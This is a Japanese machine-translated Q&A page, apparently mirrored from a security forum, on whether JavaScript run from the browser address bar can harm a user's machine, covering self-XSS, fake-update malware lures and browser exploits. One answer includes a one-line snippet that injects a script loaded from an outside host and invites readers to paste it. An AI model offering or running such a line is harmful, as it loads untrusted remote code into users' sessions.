web-dev-qa-db-ja.com

アドレスバーからのJavaScriptの実行はクライアントのマシンに害を及ぼす可能性がありますか?

最近のブラウザーは、JavaScriptがクライアントのマシン上のリソースにアクセスすることを禁止しているという事実を踏まえて、アドレスバーからのJavaScriptの実行は、クライアントのマシン(ブラウザーが実行されているマシン)に脅威をもたらしますか?

21
gurvinder372

アドレスバーから実行されるそのJavaScriptは、そのタブに表示されるWebサイトのコンテキストで実行されます。これは、そのWebサイトへの完全なアクセスを意味し、ユーザーの視点から見たWebサイトの外観と動作を変更する可能性があります。

この攻撃は self XSS と呼ばれ、ユーザーおよび間接的にマシンに危害を及ぼす可能性があります。評判の良いWebサイトでは、Flashの更新が必要であると偽って、悪意のある実行可能コードをダウンロードしてインストールするようユーザーに要求できます。

これの素敵な視覚的な例を取得するには、手動でアドレスバーに_javascript:_を入力して貼り付けます:z=document.createElement("script");z.src="https://peniscorp.com/topkek.js"; document.body.appendChild(z);信頼できない場合は、Webサイトのアドレスバーに入力してくださいログインしていません。

ほとんどのブラウザには realized この脆弱性があり、アドレスバーに_javascript:_を貼り付けるときに_javascript:some_js_code_を切り取ることで影響を制限しようとします。ただし、手動で記述して実行することは可能です。

27
Cristian Dobre

クリスティアンドブレからの承認済みの回答を完成させたいと思います。これは正確ですが不完全です。

JavaScriptを実行すると(アドレスバーを使用するか、より古典的な方法を使用するかは、ここでは重要ではありません)、ブラウザのバッファオーバーフロー(または同様の欠陥)を悪用してリモートコード実行を引き起こす可能性があります。これは、ブラウザに定期的にパッチを適用することが非常に重要である理由の1つです。

そのような発生はめったに発見されませんが存在し、毎年新たに発生します(Chromeは、以前はIEよりもずっと少ないFirefoxを下回っていました)。

SOの良い例: https://stackoverflow.com/questions/381171/help-me-understand-this-javascript-exploit

だから、あなたの質問に答えるために:はい、それはクライアントのマシンに害を及ぼす可能性があります。マシンに完全にパッチが適用されている場合、そのような害を及ぼす可能性があるのはゼロデイ(非常にありそうもないが、まだ技術的に可能)だけです。そのような能力を持つゼロデイは、ほとんどの場合、「幸運にも」標的攻撃に使用され、注意を回避し、検出されない(したがって、将来再利用される)可能性を最大化します。

6
niilzon